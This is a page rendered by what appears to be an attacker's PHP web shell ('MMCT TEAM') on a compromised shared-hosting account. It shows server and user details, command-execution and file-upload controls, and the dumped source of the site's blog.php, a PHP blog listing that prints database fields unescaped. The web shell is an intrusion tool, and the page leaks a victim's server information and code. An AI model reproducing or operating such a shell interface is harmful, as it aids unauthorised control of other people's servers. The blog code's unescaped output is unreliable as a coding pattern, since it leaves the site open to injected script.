MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/imyrqtmy/public_html/flauntingbird/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/flauntingbird/blog.php
<?php include("admin/includes/config.php"); ?>

<!DOCTYPE html>
<html lang="zxx">

<?php require "inc/head.php" ?> 

   <body>
    
      <div id="main-wrapper">
        
		 <?php require "inc/header.php" ?> 
         <!-- End Navigation -->
         <div class="clearfix"></div>
        
         <div class="gray py-3">
            <div class="container">
               <div class="row">
                  <div class="colxl-12 col-lg-12 col-md-12">
                     <nav aria-label="breadcrumb">
                        <ol class="breadcrumb">
                           <li class="breadcrumb-item"><a href="#">Home</a></li>
                           <li class="breadcrumb-item"><a href="#">Pages</a></li>
                           <li class="breadcrumb-item active" aria-current="page">Blog Page</li>
                        </ol>
                     </nav>
                  </div>
               </div>
            </div>
         </div>
         <!-- ======================= Top Breadcrubms ======================== -->
         <!-- ======================= Blog Start ============================ -->
         <section class="middle">
            <div class="container">
               <div class="row justify-content-center">
                  <div class="col-xl-12 col-lg-12 col-md-12 col-sm-12">
                     <div class="sec_title position-relative text-center">
                        <h2 class="off_title">Latest News</h2>
                        <h3 class="ft-bold pt-3">New Updates</h3>
                     </div>
                  </div>
               </div>
               <div class="row">
                        <?php
                           $query = "SELECT * FROM blogs";
                           $query_run =mysqli_query($conn, $query);
                              
                           if(mysqli_num_rows($query_run) > 0){
                              foreach($query_run as $row){    
                           ?>

                  <div class="col-xl-4 col-lg-4 col-md-4 col-sm-12">
                     <div class="_blog_wrap">
                        <div class="_blog_thumb mb-2">
                           <a href="blog-detail.php?id=<?php echo $row['id']; ?>" class="d-block"><img src="<?php echo "admin/blogs/" . $row['photo']; ?>" class="img-fluid rounded" alt="" /></a>
                        </div>
                        <div class="_blog_caption">
                           <span class="text-muted"><?php echo date("d M Y", strtotime($row['b_date'])); ?></span>
                           <h5 class="bl_title lh-1"><a href="blog-detail.php?id=<?php echo $row['id']; ?>"><?php echo $row['title']; ?></a></h5>
                           <p><?php echo $row['s_dec'] ?></p>
                           <a href="blog-detail.php?id=<?php echo $row['id']; ?>" class="btn stretched-link borders">Continue Reading..</a>
                        </div>
                     </div>
                  </div>

                  <?php }} ?>

               </div>
             
            </div>
         </section>

		 <?php require "inc/footer.php" ?> 
         <!-- ============================ Footer End ================================== -->
      
    
   
         <a id="back2Top" class="top-scroll" title="Back to top" href="#"><i class="ti-arrow-up"></i></a>
      </div>
      <!-- ============================================================== -->
      <!-- End Wrapper -->
      <!-- ============================================================== -->
      <!-- ============================================================== -->
      <!-- All Jquery -->
      <!-- ============================================================== -->
      <script src="assets/js/jquery.min.js"></script>
      <script src="assets/js/popper.min.js"></script>
      <script src="assets/js/bootstrap.min.js"></script>
      <script src="assets/js/ion.rangeSlider.min.js"></script>
      <script src="assets/js/slick.js"></script>
      <script src="assets/js/slider-bg.js"></script>
      <script src="assets/js/lightbox.js"></script> 
      <script src="assets/js/smoothproducts.js"></script>
      <script src="assets/js/snackbar.min.js"></script>
      <script src="assets/js/jQuery.style.switcher.js"></script>
      <script src="assets/js/custom.js"></script>
      <!-- ============================================================== -->
      <!-- This page plugins -->
      <!-- ============================================================== -->	
      <script>
         function openWishlist() {
         	document.getElementById("Wishlist").style.display = "block";
         }
         function closeWishlist() {
         	document.getElementById("Wishlist").style.display = "none";
         }
      </script>
      <script>
         function openCart() {
         	document.getElementById("Cart").style.display = "block";
         }
         function closeCart() {
         	document.getElementById("Cart").style.display = "none";
         }
      </script>
      <script>
         function openSearch() {
         	document.getElementById("Search").style.display = "block";
         }
         function closeSearch() {
         	document.getElementById("Search").style.display = "none";
         }
      </script>		
   </body>

</html>

MMCT - 2023